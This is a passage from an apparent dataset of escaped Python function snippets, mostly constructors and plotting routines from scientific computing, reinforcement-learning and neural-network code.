#NOTE: maybe plot normailzed X-axis (R-d)\\n\\t#plt.xlabel('Normalized Distance [R/d]')\\n\\tplt.ylabel('Ratio [Uz/Ur]')\\n\\tplt.title('Ratio of vertical to radial displacement')\\n\\tplt.legend()\\n\\tplt.show()\\n\\t'''\",\n \"def __init__(self, max_sigma, min_sigma, end_episode):\\n self.max_sigma = max_sigma\\n self.min_sigma = min_sigma\\n self.end_episode = end_episode\",\n \"def __init__(self,\\n address,\\n peak_one_range_min,\\n peak_one_range_max,\\n peak_two_range_min,\\n peak_two_range_max,\\n peak_ratio = 0.4,\\n normalized_peak_to_noise_ratio = 0.4,\\n spectrometer_dark_path = None,\\n metal_edge_px_position = None,\\n metal_edge_eV = None,\\n forbidden_range_eV=20):\\n #self.logger = logging.getLogger(self.__class__.__name__)\\n #self.logger.setLevel(logging.INFO)\\n #self.logging = logging\\n\\n self.src = Source('%s'%address)\\n if spectrometer_dark_path is not None:\\n self.dark = easy_pickle.load(spectrometer_dark_path)\\n else:\\n self.dark = None\\n self.peak_one_range_min = int(peak_one_range_min)\\n self.peak_one_range_max = int(peak_one_range_max)\\n self.peak_two_range_min = int(peak_two_range_min)\\n self.peak_two_range_max = int(peak_two_range_max)\\n self.normalized_peak_to_noise_ratio = float(normalized_peak_to_noise_ratio)\\n self.peak_ratio = float(peak_ratio)\\n self.forbidden_range_eV = int(forbidden_range_eV)\\n if metal_edge_px_position is not None:\\n self.metal_edge_px_position = int(metal_edge_px_position)\\n else:\\n self.metal_edge_px_position = None\\n\\n if metal_edge_eV is not None:\\n self.metal_edge_eV = int(metal_edge_eV)\\n else:\\n self.metal_edge_eV = None\\n self.ntwo_color = 0\\n self.nnodata = 0\\n self.nshots = 0\\n self.naccepted= 0\",\n \"def __init__(self):\\n self.state_dim = 12\\n self.measurement_dim = 6\",\n \"def __init__(self):\\n\\n # self.threshold = 3.\\n self.gamma_min = 3\\n self.gamma_max = 12\\n self.n_samples = 40\\n # self.do_plots = False\\n # self.do_albedo = True\\n # self.verbose = True\\n\\n self.nbands = 7\\n self.bu = np.array([0.004, 0.015, 0.003, 0.004, 0.013, 0.010, 0.006])\\n\\n # Determine 250 or 500 meters product\\n # self.resolution = 500\\n\\n # self.pixelWidth = 500\\n # self.pixelHeight = 500\",\n \"def __init__(self, in_features, out_features):\\n \\n ########################\\n # PUT YOUR CODE HERE #\\n #######################\\n self.params = {'weight': np.random.normal(loc = 0, scale=0.0001, size=(out_features,in_features)),\\\\\\n 'bias': np.zeros((1, out_features))}\\n \\n self.grads = {'weight': np.zeros((out_features,in_features)),\\\\\\n 'bias': np.zeros((1, out_features))}\\n ########################\\n # END OF YOUR CODE #\\n #######################\",\n \"def __init__(self, alpha=0.01):\\n self.gl = GeneralizationLoss()\\n self.alpha = alpha\",\n \"def __init__(self,scale):\\n self.scale = scale\",\n \"def initializeDistribution(self):\\n self.minVal = min(math.exp(self.upperBound),math.exp(self.lowerBound))\\n self.maxVal = max(math.exp(self.upperBound),math.exp(self.lowerBound))\",\n \"def initializeParameters(self):\\r\\n\\t\\tself.input_raster.enabled = True\\r\\n\\t\\tself.approach.enabled = True\\r\\n\\t\\tself.predefined_pattern.enabled = False\\r\\n\\t\\tself.predefined_pattern.value = 'Mexican Hat wavelet'\\r\\n\\t\\tself.pattern_workspace.enabled = False\\r\\n\\t\\tself.point_matrix_size.enabled = False\\r\\n\\t\\tself.point_matrix_size.value = 3\\r\\n\\t\\tself.point_vectors.enabled = False\\r\\n\\t\\tself.mapping_field.enabled = False\\r\\n\\t\\tself.move_to_max.enabled = False\\r\\n\\t\\tself.move_to_max_distance.enabled = False\\r\\n\\t\\tself.move_to_max_distance.value = 3\\r\\n\\t\\tself.mh_iteration.enabled = False\\r\\n\\t\\tself.mh_dil_val.enabled = False\\r\\n\\t\\tself.mh_dil_val.value = 1\\r\\n\\t\\tself.mh_dil_start.value = 0.01\\r\\n\\t\\tself.mh_dil_stop.value = 1\\r\\n\\t\\tself.mh_dil_step.value = 0.1\\r\\n\\t\\tself.mh_dil_start.enabled = False\\r\\n\\t\\tself.mh_dil_stop.enabled = False\\r\\n\\t\\tself.mh_dil_step.enabled = False\\r\\n\\t\\tself.transform.enabled = False\\r\\n\\t\\tself.size_of_the_cell.enabled = False\\r\\n\\t\\tself.size_of_the_cell.value = 1\\r\\n\\t\\tself.output_sim_matrix.enabled = False\\r\\n\\t\\tself.output_table.enabled = False\\r\\n\\t\\tself.output_raster_workspace.enabled = False\",\n \"def __init__(self, x_0, y_0, initX, initY,h=5):\\n self.x_0=x_0\\n self.y_0=y_0\\n self.x_init=initX\\n self.y_init=initY\\n self.step=h\",\n \"def bndy_plasma(self):\\n self.ne[0], self.ne[-1] = 1e11, 1e11\\n self.ni[0], self.ni[-1] = 1e11, 1e11\\n self.nn[0], self.nn[-1] = 1e11, 1e11\\n self.Te[0], self.Te[-1] = 0.1, 0.1\\n self.Ti[0], self.Ti[-1] = 0.01, 0.01\\n # self.coll_em[0], self.coll_em[-1] = 1e5, 1e5\\n # self.coll_im[0], self.coll_im[-1] = 1e5, 1e5\",\n \"def __init__(self, in_features, out_features):\\n \\n ########################\\n # PUT YOUR CODE HERE #\\n #######################\\n\\n\\n self.params = {'weight': 0.0001 * np.random.randn(out_features, in_features), 'bias': np.zeros((out_features, 1))}\\n self.grads = {'weight': np.zeros((out_features, in_features)), 'bias': np.zeros((out_features, 1))}\\n\\n\\n\\n ########################\\n # END OF YOUR CODE #\\n #######################\",\n \"def __init__(self):\\n self.minh = []\\n self.maxh = []\",\n \"def plot(self):\\n \\n \\n x_ibs=[] \\n x_gss=[]\\n y_ibs=[] \\n y_gss=[]\\n x_pso=[]\\n x_bgd=[]\\n y_bgd=[]\\n y_pso=[]\\n x_gd=[]\\n y_gd=[]\\n \\n i=0.0000001\\n \\n # for k in range(1,51):\\n # i= random.uniform(0.00000001, 1)\\n # t_avg_ibs=[]\\n # t_avg_gss=[]\\n # for j in range(1,51):\\n #L=random.randint(-100, 0)\\n #U=random.randint(0, 100)\\n max_iter=self.Max_iter \\n L=self.Lower_bound\\n U=self.Upper_bound\\n \\n minima=self.gss(L,U,i,1000)\\n #print(\\\"minima at X = \\\",minima[1])\\n x_ibs.append(self.I_bisection(L,U,minima[1],max_iter)[0])\\n x_gss.append(self.gss(L,U,i,max_iter)[0])\\n x_pso.append(self.particle_Swarm(self.func, L, U, 2, max_iter)[0])\\n x_gd.append(self.gradient_descent(X=U ,eta=0.01, tol=minima[1],iter= max_iter)[0])\\n x_bgd.append(self.b_gradient_descent(LB=L,UB=U ,eta=0.01, tol=minima[1],iter=max_iter)[0])\\n #print(x_pso)\\n for i in x_ibs[0]:\\n #print(self.Func(i)) \\n y_ibs.append(self.Func(i))\\n for i in x_gss[0]:\\n y_gss.append(self.Func(i)) \\n for i in x_pso[0]:\\n y_pso.append(self.Func(i)) \\n for i in x_gd[0]:\\n y_gd.append(self.Func(i)) \\n for i in x_bgd[0]:\\n y_bgd.append(self.Func(i)) \\n #print(y_gss)\\n\\n plt.plot(x_ibs[0], y_ibs, 'r.')\\n plt.plot(x_gss[0], y_gss, '.')\\n plt.plot(x_pso[0], y_pso, 'y.')\\n #plt.plot(x_gd[0], y_gd, 'y.')\\n #plt.plot(x_bgd[0], y_bgd, 'k.')\\n plt.xlabel('x')\\n plt.ylabel('y')\\n \\n plt.suptitle('Interval Bisection Search (Red) vs Golden Section Search (Blue) vs Particle swarm optimization (Green)')\\n #plt.axis([0, 100, 0.00000001, 1]) \\n plt.show()\\n plt.plot(x_gd[0], y_gd, 'r.')\\n plt.plot(x_bgd[0], y_bgd, 'k.')\\n plt.xlabel('x')\\n plt.ylabel('y') \\n plt.suptitle('Gradient Descent (Red) vs Batch Gradient Descent (Black) ')\\n \\n plt.show()\\n \\n start_time = timeit.default_timer()\\n ibs=self.I_bisection(L,U,minima[1],max_iter)\\n print(\\\" Execution time for Interval bisection Method is\\\", timeit.default_timer() - start_time,\\\"s\\\")\\n start_time = timeit.default_timer()\\n gss=self.gss(L,U,i,max_iter)\\n print(\\\" Execution time for Golden Section Search is\\\", timeit.default_timer() - start_time,\\\"s\\\")\\n start_time = timeit.default_timer()\\n pso=self.particle_Swarm(self.func, L, U, 2, max_iter)\\n print(\\\" Execution time for Particle swarm optimization is\\\", timeit.default_timer() - start_time,\\\"s\\\")\\n start_time = timeit.default_timer()\\n gd=self.gradient_descent(X=U ,eta=0.01, tol=minima[1],iter= max_iter)\\n print(\\\" Execution time for Gradient Descent is\\\", timeit.default_timer() - start_time,\\\"s\\\")\\n start_time = timeit.default_timer()\\n bgd=self.b_gradient_descent(LB=L,UB=U ,eta=0.01, tol=minima[1],iter=max_iter)\\n print(\\\" Execution time for Batch Gradient Descent is\\\", timeit.default_timer() - start_time,\\\"s\\\")\\n plt.plot(ibs[1], ibs[2], 'r.')\\n plt.text(ibs[1], ibs[2],\\\"IB\\\")\\n plt.plot(gss[1], gss[2], '.')\\n plt.text(gss[1], gss[2],\\\" GSS\\\")\\n plt.plot(pso[1], pso[2], 'y.')\\n plt.text(pso[1], pso[2],\\\" PSO\\\")\\n plt.plot(gd[1], gd[2], 'g.')\\n plt.text(gd[1], gd[2],\\\" GD \\\")\\n plt.plot(bgd[1],bgd[2], 'k.')\\n plt.text(bgd[1], bgd[2],\\\" Batch_GD\\\")\\n \\n plt.xlabel('Value of X')\\n plt.ylabel('NUmber of iteration') \\n plt.suptitle('Number of iterations vs minimum value of x')\\n \\n plt.show()\",\n \"def get_scale():\\r\\n\\r\\n \\r\\n return 0.5\",\n \"def __init__(self, min_x, min_y, max_x=0, max_y=0,\\n width=0, height=0):\\n self.min_x = min_x\\n self.min_y = min_y\\n if width > 0:\\n self.max_x = min_x + width\\n else:\\n self.max_x = max_x\\n if height > 0:\\n self.max_y = min_y + height\\n else:\\n self.max_y = max_y\",\n \"def __init__(self):\\n super().__init__()\\n self.dataFilename = None\\n self.functionType = None\\n self.type = 'NDimensionalDistributions'\\n self.dimensionality = None\\n\\n self.RNGInitDisc = 5\\n self.RNGtolerance = 0.2\",\n \"def __init__(\\n self,\\n num_bright_image_variants=15,\\n num_interpolations=100,\\n min_brightness_increase=0.4,\\n max_brightness_increase=0.7,\\n ):\\n self.num_bright_image_variants = num_bright_image_variants\\n self.num_interpolations = num_interpolations\\n self.min_brightness_increase = min_brightness_increase\\n self.max_brightness_increase = max_brightness_increase\",\n \"def __init__(self, min_intensity: float, max_intensity: float):\\n super().__init__()\\n self.min_intensity = min_intensity\\n self.max_intensity = max_intensity\",\n \"def init_hyperparameters():\\n alpha = .8\\n alpha2 = 1\\n\\n return alpha, alpha2\",\n \"def discrete_model():\\n return {\\\"x\\\": np.random.randint(10, size=100), \\\"y\\\": np.random.randint(10, size=100)}\",\n \"def _set_leg_params(self):\\n self.p = 0.01600\\n self.q = 0.00000\\n self.r = 0.02000\\n self.c = 0.01811\\n self.u = 0.00000\\n self.v = 0.00000\\n self.e = -0.06000\\n self.h = -0.02820\\n self.s = 0.02200\\n self.d1 = 0.0\\n self.d2 = 0.0\\n self.d3 = 0.0\\n self.stability = 0.0\",\n \"def __init__(self,\\n logs_dirs = ['LOGS'],\\n profile_paths = [],\\n history_paths = [],\\n clean_data = True,\\n extra_history_cols = [],\\n identifier = \\\"eps_nuc\\\",\\n extractor = default_extractor,\\n log10_on_data = True,\\n contour_colormap = plt.get_cmap(\\\"Blues\\\"),\\n levels = [],\\n log_levels = True,\\n num_levels = 8,\\n xaxis = \\\"model_number\\\",\\n xaxis_divide = 1.0,\\n time_units = \\\"Myr\\\",\\n function_on_xaxis = lambda x: x,\\n yaxis = \\\"mass\\\",\\n yaxis_normalize = False,\\n show_conv = True, show_therm = True, show_semi = True, show_over = True, show_rot = False,\\n core_masses = [\\\"He\\\",\\\"C\\\",\\\"O\\\"],\\n yresolution = 1000,\\n mass_tolerance = 0.0000001,\\n radius_tolerance = 0.0000001,\\n decorate_plot = True,\\n show_plot = False,\\n save_file = True,\\n save_filename = \\\"Kippenhahn.png\\\"):\\n\\n self.logs_dirs = logs_dirs\\n self.profile_paths = profile_paths\\n self.history_paths = history_paths\\n self.clean_data = clean_data\\n self.extra_history_cols = extra_history_cols\\n self.identifier = identifier\\n self.extractor = extractor\\n self.log10_on_data = log10_on_data\\n self.contour_colormap = contour_colormap\\n self.levels = levels\\n self.log_levels = log_levels\\n self.num_levels = num_levels\\n self.xaxis = xaxis\\n self.xaxis_divide = xaxis_divide\\n self.time_units = time_units\\n self.function_on_xaxis = function_on_xaxis\\n self.yaxis = yaxis\\n self.yaxis_normalize = yaxis_normalize\\n self.show_conv = show_conv\\n self.show_therm = show_therm\\n self.show_semi = show_semi\\n self.show_over = show_over\\n self.show_rot = show_rot\\n self.core_masses = core_masses\\n self.yresolution = yresolution\\n self.mass_tolerance = mass_tolerance\\n self.radius_tolerance = radius_tolerance\\n self.decorate_plot = decorate_plot\\n self.show_plot = show_plot\\n self.save_file = save_file\\n self.save_filename = save_filename\",\n \"def __init__(self, state_size, action_size, action_low, action_high):\\n self.state_size = state_size\\n self.action_size = action_size\\n self.action_low = action_low\\n self.action_high = action_high\\n self.action_range = self.action_high - self.action_low\\n\\n ###\\n\\n self.build_model()\",\n \"def __init__(self,datamask , h, w, upper, lower):\\n self.datamask = datamask\\n self.imgidmask = datamask[datamask.type == 'global'].reset_index(drop = True)\\n self.h = h\\n self.w = w\\n self.upper = upper\\n self.lower = lower\\n self._birads_to_idxs = get_birad()\\n self._densities_to_idxs = get_dens()\\n self.tfms = get_transform(height = self.h, width =self.w)\",\n \"def __init__(self, alpha=80, beta=13, gamma=3, spatial_ker_weight=3, bilateral_ker_weight=10):\\n self.alpha = alpha\\n self.beta = beta\\n self.gamma = gamma\\n self.spatial_ker_weight = spatial_ker_weight\\n self.bilateral_ker_weight = bilateral_ker_weight\",\n \"def assign_model_parameters(self,xmax,zmax,dh,duration):\\n self.model_parameters['xmax']=xmax\\n self.model_parameters['zmax']=zmax\\n self.model_parameters['dh']=dh\\n self.model_parameters['duration']=duration\",\n \"def __init__(self, max_inst=2, max_tips=2):\\n self.max_inst = max_inst\\n self.max_tips = max_tips\\n self._graph = None\\n self._im = None\",\n \"def __init__(self, grid_size=7, num_bboxes=2, num_classes=20):\\r\\n super(Loss, self).__init__()\\r\\n self.S = grid_size\\r\\n self.B = num_bboxes\\r\\n self.C = num_classes\",\n \"def __init__(self,config = None):\\n \\n self.join_path = join_path\\n self.label_path = cfg['labels_path']\\n self.pick_path = (cfg['result_path'] + cfg['pickle_path'])\\n self.label_dir = os.path.join(CWD_PATH,self.join_path, self.label_path)\\n\\n #Variables inherent to the Fluent data: \\n self.num_ins = 4\\n\\n self.scale_var = cfg['scale_var']\\n # User set values are below. These can be adjusted in config.yml \\n self.MSE_thresh1 = (cfg['thresh1']*self.scale_var)**2\\n self.MSE_thresh2 = (cfg['thresh2']*self.scale_var)**2\\n self.MSE_thresh3 = (cfg['thresh3']*self.scale_var)**2\\n \\n self.rew_goal = cfg['reward'] * self.scale_var\\n\\n self.noise = cfg['noise']\\n self.minmaxbuffer = cfg['minmaxbuffer']\\n\\n # Get the function of input-output mapping, and max & min:\\n [self.O_CH4_flow_uniformity, mins,maxes] = self.get_funcs('O_CH4_flow_uniformity')\\n [self.O_CH4_mol_frac, mins,maxes] = self.get_funcs('O_CH4_mol_frac')\\n [self.O_t, mins, maxes] = self.get_funcs('O_t')\\n \\n self.mins = mins# * self.scale_var\\n self.maxes = maxes#* self.scale_var\\n #Action range is a percentage of the total range\\n self.action_range = cfg['action_range']*self.scale_var\\n\\n #Action space is the up & down range for the 4 actions \\n self.action_space = Box(-self.action_range, self.action_range, shape=(self.num_ins,), dtype=np.float32)\\n\\n # For ref, this is a 10d state space:\\n #in: 1 ch4 flow, 2 ch4 t, 3 o2 flow, 4 o2 t,\\n #out: 5 flow unif, 6 mol frac, 7 temp\\n #out - target: 8 flow unif, 9 mol frac, 10 temp\\n \\n self.observation_space = Tuple((Box(self.mins.values[0],self.maxes.values[0],shape=(1,), dtype=np.float32),\\n Box(self.mins.values[1],self.maxes.values[1],shape=(1,), dtype=np.float32),\\n Box(self.mins.values[2],self.maxes.values[2],shape=(1,), dtype=np.float32),\\n Box(self.mins.values[3],self.maxes.values[3],shape=(1,), dtype=np.float32),\\n Box(self.mins.values[4],self.maxes.values[4],shape=(1,), dtype=np.float32),\\n Box(self.mins.values[5],self.maxes.values[5],shape=(1,), dtype=np.float32),\\n Box(self.mins.values[6],self.maxes.values[6],shape=(1,), dtype=np.float32),\\n Box(self.mins.values[4],self.maxes.values[4],shape=(1,), dtype=np.float32),\\n Box(self.mins.values[5],self.maxes.values[5],shape=(1,), dtype=np.float32),\\n Box(self.mins.values[6],self.maxes.values[6],shape=(1,), dtype=np.float32)))\\n \\n # TODO this isn't really a proper gym spec\\n self._spec = lambda: None\\n self._spec.id = \\\"AllVar-v0\\\"\\n \\n # For rendering:\\n self.viewer = None\\n self.labels = cfg['labels']\\n \\n #initialize variables for tracking:\\n self.episode = 0\\n self.reward = 0\\n self.reset()\",\n \"def __init__(self, in_features, out_features):\\n\\n ########################\\n # PUT YOUR CODE HERE #\\n #######################\\n\\n self.in_features = in_features\\n self.out_features = out_features\\n\\n self.__MEAN = 0\\n self.__STD = 0.0001\\n\\n self.params = {\\n 'weight': np.random.normal(loc=self.__MEAN, scale=self.__STD, size=(out_features, in_features)), \\n 'bias': np.zeros(out_features),\\n }\\n self.grads = {\\n 'weight': None, \\n 'bias': None,\\n }\\n\\n self.input_cache = None\\n ########################\\n # END OF YOUR CODE #\\n #######################\",\n \"def __init__(self, scale, **kwargs):\\n super(NormalNoise, self).__init__(**kwargs)\\n self._scale = scale\",\n \"def __init__(self, model, X_lower, X_upper):\\n self.model = model\\n self.X_upper = X_upper\\n self.X_lower = X_lower\",\n \"def __init__(self, maxEpochs=100, initAlpha=0.01, power=1.0):\\n self.maxEpochs = maxEpochs\\n self.initAlpha = initAlpha\\n self.power = power\\n pass\",\n \"def __init__(self):\\n super().__init__()\\n No_of_Inputs = 2\\n No_of_Outputs = 2\\n No_of_Hidden_nodes = 12\\n \\\"\\\"\\\" Defining the min and max values of the data used in training for normalizing the input values sent by game and denormalize the predicted output values from neural network \\\"\\\"\\\" \\n self.max_X_Distance = 636.2896274868181\\n self.min_X_Distance = -596.6699167751983\\n self.max_Y_Distance = 743.1598623474754\\n self.min_Y_Distance = 65.6244797954829\\n self.max_X_Velocity = 7.994655683732954\\n self.min_X_Velocity = -6.139791884122744\\n self.max_Y_Velocity = 6.116163006403942\\n self.min_Y_Velocity = -5.779221733928611\\n self.Neural_Net = Neuron_Network(No_of_Inputs, No_of_Hidden_nodes, No_of_Outputs)\\n self.Neural_Net.Hidden_Layer_Weights = [[-2.4968545286197834, -1.8753602229555426, -0.212544244291629], [-1.7630022249709958, -3.6728753504716702, 0.9029212995412115], [-9.92308792895824, 18.605900320220044, 0.6546005968930644], [-2.4482999114771995, -1.517816946765758, -0.9193463164391101], [-2.3427861053090684, -2.4881000020941877, 0.4629152770160724], [-2.1591465483332413, 1.0195709398508257, -3.550975138336682], [-4.121604475036676, 1.2541841992381966, 0.20872225266025077], [-2.794714837157948, -0.6250218903568433, -0.9508382423169754], [-2.171501881731379, -2.860403977932674, 0.45023268515928966], [-7.574606539172206, 5.796893890015888, 0.8325562788065618], [-2.3949093030515787, -1.6691739704587119, -0.8994153916849774], [-2.5057827237537236, -1.833523946060227, -0.15265344756899354]]\\n self.Neural_Net.Output_Layer_Weights = [[0.5339576155454724, -7.163855899626589, 4.441573522337238, -0.8487519667092871, 0.194328665944557, -6.253588662045125, 10.355395474689958, -0.5546973711452573, 1.3109277184619805, -2.8628613991153036, -3.4019242278486903, 0.920569758736398, -9.436494568306678], [-1.2778954480096152, 0.7155347068753504, 1.642050336134636, 1.847449069077208, 0.6888835859247565, 1.1005203424912922, 1.8925919549669181, -0.6795836727331039, 0.41572054666867386, 1.2533245105144883, -3.297414893260861, 0.7326422000597372, 0.6620055115639853]]\",\n \"def __init__(self,x=0.1,E=10.0, mpar={}, topchem='He', topden=1.78e-4, botchem='Sr50Cl100H110493.721O55246.86', botden=1.0032, element='Sr', line='Ka1', vslit= 0.04, detlen=10.5, qoff=0.0, yscale=1,int_bg=0, Rc=0, sur_den=0,ion_depth=0):\\n if type(x)==list:\\n self.x=np.array(x)\\n else:\\n self.x=x\\n self.E=E\\n self.__mpar__ = mpar\\n self.topchem = topchem\\n self.topden = topden\\n self.botchem = botchem\\n self.botden = botden\\n self.element = element\\n self.line = line\\n self.vslit = vslit\\n self.detlen = detlen\\n self.qoff = qoff\\n self.yscale = yscale\\n self.int_bg = int_bg\\n self.Rc = Rc\\n self.sur_den = sur_den\\n self.ion_depth = ion_depth\\n elelist = xdb.atomic_symbols\\n linelist = list(xdb.xray_lines(98).keys())\\n self.choices={'element':elelist,'line': linelist} #If there are choices available for any fixed parameters\\n self.output_params = {}\\n self.init_params()\\n self.__fit__=False\\n self.__avoganum__ = scipy.constants.Avogadro\\n self.__eleradius__ = scipy.constants.physical_constants['classical electron radius'][0]*1e10 #classic electron radius in \\\\AA\",\n \"def compare_ratios(path='/Volumes/OptiHDD/data/pylith/3d/agu2013/output',\\n\\t\\t\\t\\tsteps=['step01','step02'],\\n\\t\\t\\t\\t#labels='',\\n\\t\\t\\t\\tshow=True,\\n\\t\\t\\t\\txscale=1e3,\\n\\t\\t\\t\\tyscale=1e-2):\\n\\tplt.figure()\\n\\t#path = '/Users/scott/Desktop/elastic'\\n\\n\\t# Deep source\\n\\tlabels = ['no APMB', 'APMB']\\n\\tdeep = {}\\n\\tuzmax = 0.824873455364\\n\\t# NOT sure why hardcoded...\\n\\tuzmax = 1\\n\\tfor i,outdir in enumerate(steps):\\n\\t\\tpointsFile = os.path.join(path, outdir, 'points.h5')\\n\\n\\t\\tx,y,z,ux,uy,uz = pu.extract_points(pointsFile)\\n\\n\\t\\tX = x / xscale\\n\\t\\tY1 = ux / yscale\\n\\n\\t\\tx_fem = X #/ xscale #double scaling!\\n\\t\\tur_fem = Y1 #/ yscale\\n\\t\\tuz_fem = uz / yscale\\n\\n\\t\\t#print(pointsFile)\\n\\t\\tprint(ur_fem.min(), ur_fem.max(), uz_fem.min(), uz_fem.max(), uz_fem.max() / ur_fem.max())\\n\\n\\t\\t#normalize\\n\\t\\tuz_fem = uz_fem / uzmax\\n\\t\\tur_fem = ur_fem / uzmax\\n\\t\\tx_fem = x_fem / 30.0\\n\\n\\t\\tl, = plt.plot(x_fem,uz_fem,'o-',ms=4,lw=4,label=labels[i])\\n\\t\\tplt.plot(x_fem,ur_fem,'o--',ms=4,lw=4,color=l.get_color()) #mfc='none' transparent\\n\\t\\tdeep[outdir] = uz_fem/uz_fem\\n\\n\\n\\t# Shallow Source\\n\\tshallow = {}\\n\\tuzmax = 0.949652827795 # Why?\\n\\tfor i,outdir in enumerate(['step11','step12']):\\n\\t\\tpointsFile = os.path.join(path, outdir, 'points.h5')\\n\\n\\t\\tx,y,z,ux,uy,uz = pu.extract_points(pointsFile)\\n\\n\\t\\tX = x / xscale\\n\\t\\tY1 = ux / yscale\\n\\n\\t\\tx_fem = X #/ xscale #double scaling!\\n\\t\\tur_fem = Y1 #/ yscale\\n\\t\\tuz_fem = uz / yscale\\n\\n\\t\\t#print(pointsFile)\\n\\t\\tprint(ur_fem.min(), ur_fem.max(), uz_fem.min(), uz_fem.max(), uz_fem.max() / ur_fem.max())\\n\\n\\t\\t#normalize\\n\\t\\tuz_fem = uz_fem / uzmax\\n\\t\\tur_fem = ur_fem / uzmax\\n\\t\\tx_fem = x_fem / 20.0\\n\\n\\t\\tl, = plt.plot(x_fem,uz_fem,'.-', mfc='w', lw=4,label=labels[i])\\n\\t\\tplt.plot(x_fem,ur_fem,'.--',lw=4, mfc='w',color=l.get_color()) #mfc='none' transparent\\n\\n\\t\\tshallow[outdir] = uz_fem/ur_fem\\n\\n\\t# Annotate\\n\\tplt.axhline(color='k',lw=0.5)\\n\\t#plt.xlabel('Distance [{}]'.format(get_unit(xscale)))\\n\\t#plt.ylabel('Displacement [{}]'.format(get_unit(yscale)))\\n\\tplt.legend()\\n\\tplt.grid()\\n\\t#plt.ylim(-0.5, 3.5)\\n\\t#plt.savefig('deep.png',bbox_inches='tight')\\n\\t#plt.savefig('shallow.png',bbox_inches='tight')\\n\\n\\t# normalized\\n\\tplt.ylim(-0.5, 4)\\n\\tplt.xlim(0,10)\\n\\tplt.xlabel('Normalized Radial Distance [R / D]')\\n\\tplt.ylabel('Normalized Displacement [U / Uz_max]')\\n\\t#plt.savefig('normalized_deep.png',bbox_inches='tight')\\n\\tplt.savefig('normalized_shallow.png',bbox_inches='tight')\\n\\n\\n\\t# Plot ratios of uz versus NOTE: this plot is confusing,,, just keep ratio of uz_max to ur_max\\n\\t'''\\n\\tplt.figure()\\n\\tplt.plot(x_fem, deep['step01'], label='Deep no APMB')\\n\\tplt.plot(x_fem, deep['step02'], label='Deep w/ APMB')\\n\\tplt.plot(x_fem, shallow['step11'], label='Shallow no APMB')\\n\\tplt.plot(x_fem, shallow['step12'], label='Shallow w/ APMB')\\n\\tplt.xlabel('Distance [km]') #NOTE: maybe plot normailzed X-axis (R-d)\\n\\t#plt.xlabel('Normalized Distance [R/d]')\\n\\tplt.ylabel('Ratio [Uz/Ur]')\\n\\tplt.title('Ratio of vertical to radial displacement')\\n\\tplt.legend()\\n\\tplt.show()\\n\\t'''\",\n \"def __init__(self):\\n self.topology = None\\n self.learningRate = None\\n self.momentum = None\\n self.name = None\\n self.size = None\\n #self._hiddenActiv_fun_key = None\\n #self._outActiv_fun_key = None\\n #self.output_activation = None\\n #self.hidden_activation = None\",\n \"def determinePlotLimits(self):\\n max_str = \\\"up99\\\"\\n min_str = \\\"dn99\\\"\\n if self.keywords.get(\\\"limit_type\\\",\\\"99per\\\") == \\\"minmax\\\":\\n max_str = \\\"max\\\"\\n min_str = \\\"min\\\"\\n \\n # Determine the min/max of variables over all models\\n limits = {}\\n prune = False\\n for fname in glob.glob(os.path.join(self.output_path,\\\"*.nc\\\")):\\n with Dataset(fname) as dataset:\\n if \\\"MeanState\\\" not in dataset.groups: continue\\n group = dataset.groups[\\\"MeanState\\\"]\\n variables = [v for v in group.variables.keys() if v not in group.dimensions.keys()]\\n for vname in variables:\\n var = group.variables[vname]\\n pname = vname.split(\\\"_\\\")[0]\\n region = vname.split(\\\"_\\\")[-1]\\n if var[...].size <= 1: continue\\n if space_opts.has_key(pname):\\n if not limits.has_key(pname):\\n limits[pname] = {}\\n limits[pname][\\\"min\\\"] = +1e20\\n limits[pname][\\\"max\\\"] = -1e20\\n limits[pname][\\\"unit\\\"] = post.UnitStringToMatplotlib(var.getncattr(\\\"units\\\"))\\n limits[pname][\\\"min\\\"] = min(limits[pname][\\\"min\\\"],var.getncattr(min_str))\\n limits[pname][\\\"max\\\"] = max(limits[pname][\\\"max\\\"],var.getncattr(max_str))\\n elif time_opts.has_key(pname):\\n if not limits.has_key(pname): limits[pname] = {}\\n if not limits[pname].has_key(region):\\n limits[pname][region] = {}\\n limits[pname][region][\\\"min\\\"] = +1e20\\n limits[pname][region][\\\"max\\\"] = -1e20\\n limits[pname][region][\\\"unit\\\"] = post.UnitStringToMatplotlib(var.getncattr(\\\"units\\\"))\\n limits[pname][region][\\\"min\\\"] = min(limits[pname][region][\\\"min\\\"],var.getncattr(\\\"min\\\"))\\n limits[pname][region][\\\"max\\\"] = max(limits[pname][region][\\\"max\\\"],var.getncattr(\\\"max\\\"))\\n if not prune and \\\"Benchmark\\\" in fname and pname == \\\"timeint\\\":\\n prune = True\\n self.pruneRegions(Variable(filename = fname,\\n variable_name = vname,\\n groupname = \\\"MeanState\\\"))\\n \\n # Second pass to plot legends (FIX: only for master?)\\n for pname in limits.keys():\\n\\n try:\\n opts = space_opts[pname]\\n except:\\n continue\\n \\n # Determine plot limits and colormap\\n if opts[\\\"sym\\\"]:\\n vabs = max(abs(limits[pname][\\\"min\\\"]),abs(limits[pname][\\\"min\\\"]))\\n limits[pname][\\\"min\\\"] = -vabs\\n limits[pname][\\\"max\\\"] = vabs\\n\\n # if a score, force to be [0,1]\\n if \\\"score\\\" in pname:\\n limits[pname][\\\"min\\\"] = 0\\n limits[pname][\\\"max\\\"] = 1\\n\\n limits[pname][\\\"cmap\\\"] = opts[\\\"cmap\\\"]\\n if limits[pname][\\\"cmap\\\"] == \\\"choose\\\": limits[pname][\\\"cmap\\\"] = self.cmap\\n\\n # Plot a legend for each key\\n if opts[\\\"haslegend\\\"]:\\n fig,ax = plt.subplots(figsize=(6.8,1.0),tight_layout=True)\\n label = opts[\\\"label\\\"]\\n if label == \\\"unit\\\": label = limits[pname][\\\"unit\\\"]\\n post.ColorBar(ax,\\n vmin = limits[pname][\\\"min\\\"],\\n vmax = limits[pname][\\\"max\\\"],\\n cmap = limits[pname][\\\"cmap\\\"],\\n ticks = opts[\\\"ticks\\\"],\\n ticklabels = opts[\\\"ticklabels\\\"],\\n label = label)\\n fig.savefig(os.path.join(self.output_path,\\\"legend_%s.png\\\" % (pname))) \\n plt.close()\\n\\n # Determine min/max of relationship variables\\n for fname in glob.glob(os.path.join(self.output_path,\\\"*.nc\\\")):\\n with Dataset(fname) as dataset:\\n for g in dataset.groups.keys():\\n if \\\"relationship\\\" not in g: continue\\n grp = dataset.groups[g]\\n if not limits.has_key(g):\\n limits[g] = {}\\n limits[g][\\\"xmin\\\"] = +1e20\\n limits[g][\\\"xmax\\\"] = -1e20\\n limits[g][\\\"ymin\\\"] = +1e20\\n limits[g][\\\"ymax\\\"] = -1e20\\n limits[g][\\\"xmin\\\"] = 